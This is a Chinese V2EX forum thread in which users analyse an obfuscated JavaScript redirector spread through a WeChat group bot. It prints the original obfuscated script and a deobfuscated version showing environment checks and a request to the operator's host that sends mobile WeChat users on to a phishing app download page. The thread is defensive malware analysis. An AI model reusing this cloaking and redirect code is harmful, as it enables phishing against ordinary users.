V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
justNoBody
V2EX  ›  程序员

今天在微信群看到机器人转发一些奇奇怪怪的链接,发现 js 还加密了,有办法知道他具体在做啥么?

  •  
  •   justNoBody · 236 天前 · 2662 次点击
    这是一个创建于 236 天前的主题,其中的信息可能已经有所发展或是发生改变。

    源链接: https://video.piaoniu.com/tweet/16917581836318091.mp4?ci=j63sohnl&s://www.qunar.com/kong/pbray?ex_track=auto_5a3b7302

    访问以后可以拿到:<script/src=//mo.ffbon.com/zzzz></script>%

    域名查了,是前不久在 alibabaglobal 买的

    再访问就可以看到一个加密的 js 代码:

    var version_='jsjiami.com.v7';var _0x14f009=_0x53b8;function _0x53b8(_0x262706,_0x3e358c){var _0x522920=_0x5229();return _0x53b8=function(_0x53b803,_0x3c83f2){_0x53b803=_0x53b803-0x14d;var _0x5c60b1=_0x522920[_0x53b803];if(_0x53b8['PJuQhT']===undefined){var _0x2c2073=function(_0x32ae92){var _0x53d115='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x421dfe='',_0x10fd48='';for(var _0x13e9e6=0x0,_0x245401,_0x146a02,_0x446228=0x0;_0x146a02=_0x32ae92['charAt'](_0x446228++);~_0x146a02&&(_0x245401=_0x13e9e6%0x4?_0x245401*0x40+_0x146a02:_0x146a02,_0x13e9e6++%0x4)?_0x421dfe+=String['fromCharCode'](0xff&_0x245401>>(-0x2*_0x13e9e6&0x6)):0x0){_0x146a02=_0x53d115['indexOf'](_0x146a02);}for(var _0x3b2e04=0x0,_0x2c6669=_0x421dfe['length'];_0x3b2e04<_0x2c6669;_0x3b2e04++){_0x10fd48+='%'+('00'+_0x421dfe['charCodeAt'](_0x3b2e04)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10fd48);};var _0x767da8=function(_0x31adf8,_0x182f4c){var _0x2535e6=[],_0x154504=0x0,_0x2983aa,_0x252b02='';_0x31adf8=_0x2c2073(_0x31adf8);var _0x29782e;for(_0x29782e=0x0;_0x29782e<0x100;_0x29782e++){_0x2535e6[_0x29782e]=_0x29782e;}for(_0x29782e=0x0;_0x29782e<0x100;_0x29782e++){_0x154504=(_0x154504+_0x2535e6[_0x29782e]+_0x182f4c['charCodeAt'](_0x29782e%_0x182f4c['length']))%0x100,_0x2983aa=_0x2535e6[_0x29782e],_0x2535e6[_0x29782e]=_0x2535e6[_0x154504],_0x2535e6[_0x154504]=_0x2983aa;}_0x29782e=0x0,_0x154504=0x0;for(var _0x44a4e6=0x0;_0x44a4e6<_0x31adf8['length'];_0x44a4e6++){_0x29782e=(_0x29782e+0x1)%0x100,_0x154504=(_0x154504+_0x2535e6[_0x29782e])%0x100,_0x2983aa=_0x2535e6[_0x29782e],_0x2535e6[_0x29782e]=_0x2535e6[_0x154504],_0x2535e6[_0x154504]=_0x2983aa,_0x252b02+=String['fromCharCode'](_0x31adf8['charCodeAt'](_0x44a4e6)^_0x2535e6[(_0x2535e6[_0x29782e]+_0x2535e6[_0x154504])%0x100]);}return _0x252b02;};_0x53b8['BQMHdH']=_0x767da8,_0x262706=arguments,_0x53b8['PJuQhT']=!![];}var _0x3c9c50=_0x522920[0x0],_0x3e7979=_0x53b803+_0x3c9c50,_0x2201e0=_0x262706[_0x3e7979];return!_0x2201e0?(_0x53b8['RjVJVx']===undefined&&(_0x53b8['RjVJVx']=!![]),_0x5c60b1=_0x53b8['BQMHdH'](_0x5c60b1,_0x3c83f2),_0x262706[_0x3e7979]=_0x5c60b1):_0x5c60b1=_0x2201e0,_0x5c60b1;},_0x53b8(_0x262706,_0x3e358c);}(function(_0x507990,_0x50e0e9,_0x13e534,_0x320e1b,_0x2f4f04,_0x877a64,_0x214804){return _0x507990=_0x507990>>0x4,_0x877a64='hs',_0x214804='hs',function(_0x2b2ade,_0x26792f,_0x294692,_0x3a3af8,_0x1bd3e4){var _0x1aad5a=_0x53b8;_0x3a3af8='tfi',_0x877a64=_0x3a3af8+_0x877a64,_0x1bd3e4='up',_0x214804+=_0x1bd3e4,_0x877a64=_0x294692(_0x877a64),_0x214804=_0x294692(_0x214804),_0x294692=0x0;var _0x2daf5c=_0x2b2ade();while(!![]&&--_0x320e1b+_0x26792f){try{_0x3a3af8=-parseInt(_0x1aad5a(0x162,'UI*a'))/0x1*(-parseInt(_0x1aad5a(0x16a,'KZI7'))/0x2)+parseInt(_0x1aad5a(0x14d,'hYoQ'))/0x3+-parseInt(_0x1aad5a(0x152,'r1[x'))/0x4*(parseInt(_0x1aad5a(0x16b,')*GJ'))/0x5)+parseInt(_0x1aad5a(0x15b,'v!!W'))/0x6*(parseInt(_0x1aad5a(0x168,'30S!'))/0x7)+-parseInt(_0x1aad5a(0x15d,'UI*a'))/0x8+-parseInt(_0x1aad5a(0x150,'c9ms'))/0x9+-parseInt(_0x1aad5a(0x167,'30S!'))/0xa;}catch(_0x2710cd){_0x3a3af8=_0x294692;}finally{_0x1bd3e4=_0x2daf5c[_0x877a64]();if(_0x507990<=_0x320e1b)_0x294692?_0x2f4f04?_0x3a3af8=_0x1bd3e4:_0x2f4f04=_0x1bd3e4:_0x294692=_0x1bd3e4;else{if(_0x294692==_0x2f4f04['replace'](/[MIXYJWHyENUfqdDrKQ=]/g,'')){if(_0x3a3af8===_0x26792f){_0x2daf5c['un'+_0x877a64](_0x1bd3e4);break;}_0x2daf5c[_0x214804](_0x1bd3e4);}}}}}(_0x13e534,_0x50e0e9,function(_0x28edbb,_0x1c6743,_0x4b8bc2,_0xb03efb,_0x5c483a,_0x1daba7,_0x20198c){return _0x1c6743='\x73\x70\x6c\x69\x74',_0x28edbb=arguments[0x0],_0x28edbb=_0x28edbb[_0x1c6743](''),_0x4b8bc2='\x72\x65\x76\x65\x72\x73\x65',_0x28edbb=_0x28edbb[_0x4b8bc2]('\x76'),_0xb03efb='\x6a\x6f\x69\x6e',(0x13b4c4,_0x28edbb[_0xb03efb](''));});}(0xcd0,0x84fbf,_0x5229,0xcf),_0x5229)&&(version_=_0x5229);var url=window[_0x14f009(0x153,'v!!W')][_0x14f009(0x166,'MmtO')],link=_0x14f009(0x163,'MV%i'),xmlHttp=new XMLHttpRequest();function _0x5229(){var _0x87ae92=(function(){return[version_,'rfjWWMsNdYjiaNmQIKi.WXDcJofEmq.UNvQH7yID==','W67cKCoMaI4comoFvHCoif4','W7vbW6m','Amo6WOPm','WQ0aWRjdW5ddM8kqWR3cKCo4zK4b','WQShW4eiWRdcLmouWQC','ySoXdSkR','qG97cePXySoh','W7NdVbDLybxcGq','W7ldGGL5tmk/WOnJzfLUb8kc','WPdcI8kC'].concat((function(){return['W7PaWRXFbSokWQJcJmo1W7KfFSke','WO3cT8oxoCk5xSo0dmkiAMZcOW','wmoZomk+Dq','swTKCGzZwrFcRSoaDMDJ','W7v7DvZcUZnbvG','BmoTdq','W7BcV8ogWO4tqv4','WO9jm8kQW5yrEh3dNSoKyq','W5tcNu/cTq','W75eW48xy8kiW67cKq','WOWkEmob','W6pcJbCWuSohfwddRMPTy34'].concat((function(){return['WQ0MlWNdUMPbDSkzW70EWO0','W7DCW7yvWOxcH8ozWP3cGmorDuOSW63cLmkVqSof','W5njk8kxWQldQ8oKWO7cImoiWOZdMCot','AmoPWOC','DgJdM3LA','maldU3BcKh5PW5iwjSktaq','xMddP20','W5fnjCktWQRcVCkNWPdcO8o1WQ4','WQufW74FrmofWRxdT8kkWQzgumkApSoFds7cVXWluJ7cVheMWPzPzCoTWPRcVCkoadGguSo/WQ9jjhJdVxbgdIVcIqdcKuXzW5LkW61h'];}()));}()));}());_0x5229=function(){return _0x87ae92;};return _0x5229();};xmlHttp[_0x14f009(0x157,'2hDe')](_0x14f009(0x15e,'^Wqq'),link+'?url='+url,!![]),xmlHttp[_0x14f009(0x161,'JT]B')](null),xmlHttp[_0x14f009(0x15c,'30S!')]=function(){var _0x2688aa=_0x14f009,_0x2671a5={'YmRpR':function(_0x595dd6,_0x21996e){return _0x595dd6(_0x21996e);}},_0x2fbb94=_0x2671a5[_0x2688aa(0x151,'$bHC')](eval,'('+xmlHttp[_0x2688aa(0x160,'DvM#')]+')');console[_0x2688aa(0x14e,'3eu#')](_0x2fbb94[_0x2688aa(0x165,'30S!')]),_0x2fbb94[_0x2688aa(0x169,'$bHC')]==0x1?location[_0x2688aa(0x159,'UI*a')]=_0x2fbb94['data']:_0x2671a5[_0x2688aa(0x15f,'JT]B')](alert,_0x2fbb94[_0x2688aa(0x154,'$bHC')]);};var version_ = 'jsjiami.com.v7';
    
    17 条回复    2023-09-05 11:23:44 +08:00
    x86
        1
    x86  
       236 天前
    jsjiami.com 打开就自动登入了一个别人的号 🤣
    justNoBody
        2
    justNoBody  
    OP
       236 天前
    @x86 是说这个 js 在登录账号做解密么?
    fangdajiang
        3
    fangdajiang  
       236 天前
    FROM GPT4:

    当然可以。这段代码经过混淆,但我们可以大致了解其功能:

    1. **初始变量声明**:
    - `version_`:一个字符串变量,初始化为`'jsjiami.com.v7'`。
    - `_0x14f009`:初始化为函数`_0x53b8`。
    - 代码中使用了多个混淆的函数和变量名,这使得代码难以一眼看明白。

    2. **函数 `_0x53b8`**:
    - 这个函数似乎是某种解密或解码功能。它接受两个参数,然后通过多个解码逻辑进行处理。
    - 这个函数的内部逻辑包括 base64 解码、一种 RC4 加密算法的形式以及一些字符串操作。
    - 它似乎用 RC4 算法进行解密。

    3. **匿名函数调用**:
    - 在`_0x53b8`函数定义后,有一个立即调用的函数表达式( IIFE )。这是 JavaScript 中常用的一种模式,用于在定义函数后立即执行它。
    - 这个 IIFE 似乎负责设置一些混淆或编码逻辑。

    4. **网络请求逻辑**:
    - 代码定义了一个`url`变量,它获取当前窗口的位置( URL )。
    - `link`被初始化为一个字符串,但其值被混淆了。
    - 创建了一个`XMLHttpRequest`对象`xmlHttp`。这是 JavaScript 中用于发出异步 HTTP 请求的方法。
    - 然后代码设置`xmlHttp`对象向混淆的`link`发送 GET 请求,并附带当前的`url`作为参数。这似乎是一个 API 调用或对某个外部服务的调用。
    - 当请求完成时(`onreadystatechange`事件),代码使用`eval`函数评估响应(如果响应不是来自可信源,使用`eval`函数可能是危险的)。然后将结果记录到控制台,并根据结果可能重定向用户。

    5. **最后一行**:
    - 最后一行将`version_`变量重新初始化为它开始的值。

    总的来说,这段代码的目的似乎是:
    1. 设置混淆和解密逻辑。
    2. 向一个混淆的链接发出网络请求,并将当前窗口的 URL 作为参数。
    3. 处理响应并可能根据结果重定向用户。

    考虑到代码的混淆性质,特别是当它们使用`eval`函数时,处理此类脚本需要特别小心,因为它们可能执行潜在的恶意代码。
    zhyl
        4
    zhyl  
       236 天前
    ```
    var url = window['location']['href'],
    link = 'https://206codes.fyjdyp.cn/api.php/portal/index/geturlb',
    xmlHttp = new XMLHttpRequest()

    xmlHttp['open']('GET', link + '?url=' + url, !![]),
    xmlHttp['send'](null),
    (xmlHttp['onreadystatechange'] = function () {
    _0x2fbb94 = eval('(' + xmlHttp['responseText'] + ')')
    console['log'](_0x2fbb94['msg']),
    _0x2fbb94['code'] == 0x1
    ? (location['href'] = _0x2fbb94['data'])
    : alert(_0x2fbb94['msg'])
    })
    ```
    zhyl
        5
    zhyl  
       236 天前
    动态直接接口下发的代码
    zhyl
        6
    zhyl  
       236 天前
    @zhyl #5 执行
    Maerd
        7
    Maerd  
       236 天前
    @zhyl 哥们是直接用解混淆工具解的吧,这个解出来是错的
    zhyl
        8
    zhyl  
       236 天前
    @Maerd 手动解的不保真
    AlexPUBLIC
        9
    AlexPUBLIC  
       236 天前
    @zhyl url 是对的
    InDom
        10
    InDom  
       236 天前
    https://www.qs5.org/Post/673.html 可以参考我写的这个,这个玩意的原理上是一样的。解出来的代码应该与 4 楼差不多
    Maerd
        11
    Maerd  
       236 天前
    @zhyl 你这手解的怎么和我用工具反混淆出来的一样呢,而且错的地方也一样,抓个包能很明显发现这个 url 并没有被请求到,对 mo.ffbon.com/zzzz 进行重写替换上述代码,也无法实现跳转效果,这种情况很明显是反混淆工具在环境检测的时候走向了错误的分支
    zhyl
        12
    zhyl  
       235 天前
    @Maerd #11 你说的对,这个 url 无效
    Maerd
        13
    Maerd  
       235 天前
    原代码会检测目标平台,如果是 pc 端则跳转百度,如果是移动端,则通过阿里云的白域名 ffbon.com 跳转两次,然后再跳转到到移动云,通过移动云跳转到钓鱼 app 下载网站,所有的内容都是动态生成,但是伪装成了静态页。我猜测这种方式应该是为了过微信和国家防火墙的反诈检测,搞得还挺麻烦🤔待我整理一下放出反混淆后的内容
    justNoBody
        14
    justNoBody  
    OP
       235 天前
    @Maerd 更骚的是 他一开始用的域名是 piaoniu.com 这个是有备案的
    Maerd
        15
    Maerd  
       235 天前
    @justNoBody 他用的所有的域名都有备案,应该是电报上面黑产卖的那种
    Maerd
        16
    Maerd  
       235 天前   ❤️ 1
    这个链接返回的是第一层加密 js ,逆向后按照下方代码请求后,会得到第二层加密 js ,最后跳转到钓鱼页面

    ![钓鱼 app]( https://img1.imgtp.com/2023/09/04/HuDxKzqv.jpg)

    以下是反混淆内容

    ```javascript
    // 注意:以下内容需要在移动端微信浏览器中打开,node 端无法测试
    // 如需要在 pc 端浏览器测试,请将 ua 改为微信内置浏览器 ua
    // 例:Mozilla/5.0 (Linux; Android 13; PHB110 Build/TP1A.220905.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/5235 MMWEBSDK/20230701 MMWEBID/8568 MicroMessenger/8.0.40.2420(0x28002837) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64

    /**
    * 获取指定 url 参数
    */
    function getParam(queryStr = "", key = null) {
    var pattern = new RegExp("(^|&)" + key + "=([^&]*)(&|$)", "i"),
    groups = queryStr.substr(1).match(pattern);
    // 有对应的 url 参数返回编码后的 url 参数,没有则返回空
    return (groups != null) ? unescape(groups[2]) : ""
    }

    /**
    * 环境检测,此处逻辑应当是为了防止在 pc 端打开,仅检测手机端,用于跳转钓鱼网站
    */
    function envCheck(ciValue) {
    // 如果没有 ci 参数,跳转到百度
    var baiduUrl = "https://www.baidu.com"
    if (!ciValue) {
    location.replace();
    return;
    }
    var platforms = { "win": false, "mac": false, "xll": false }
    // 此处为环境检测,node 环境没有 navigator 对象,测试时可以将下属 8 行代码注释掉
    var currentPlatform = navigator.platform;
    platforms.win = currentPlatform.indexOf("Win") == 0;
    platforms.mac = currentPlatform.indexOf("Mac") == 0;
    platforms.x11 = currentPlatform == "X11" || currentPlatform.indexOf("Linux") == 0;
    // 如果是 win 、mac 、x11 环境,跳转到百度
    if (platforms.win || platforms.mac || platforms.xll) {
    location.replace(baiduUrl);
    return;
    }
    }

    /**
    * 发送钓鱼请求,此处用了 xhr 请求,node 无法请求,实际测试时请自行替换
    */
    function main() {
    // 此处原内容为 window.location.search ,为 node 环境测试方便,使用楼主提供的 url
    // var queryStr = window.location.search;
    var queryStr = "?ci=j63sohnl&s://www.qunar.com/kong/pbray?ex_track=auto_5a3b7302";
    var ciValue = getParam(queryStr, "ci")
    // envCheck(ciValue); // 在桌面端平台这行可以省略,因为会跳转到百度
    var xhr = new XMLHttpRequest()
    xhr.onreadystatechange = function () {
    xhr.readyState == 4 && xhr.status == 200 && window.location.replace(xhr.responseText);
    };
    xhr.open("POST", "https://hj.ffbon.com/blii.html", true);
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    // var _0x1d1a3b = window.localStorage.getItem("xxio" + ciValue);
    // _0x1d1a3b == null ? (window.localStorage.setItem("xxio" + ciValue, "gsdfsds"), _0x1d1a3b = 0) : _0x1d1a3b = 1;
    xhr.send("vi=" + ciValue + "&nu=" + 1);
    }

    //执行入口
    main()
    ```
    justNoBody
        17
    justNoBody  
    OP
       235 天前
    @Maerd 我感觉是把别人家的网站漏洞找到了以后做的吧
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   2901 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 28ms · UTC 09:01 · PVG 17:01 · LAX 02:01 · JFK 05:01
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.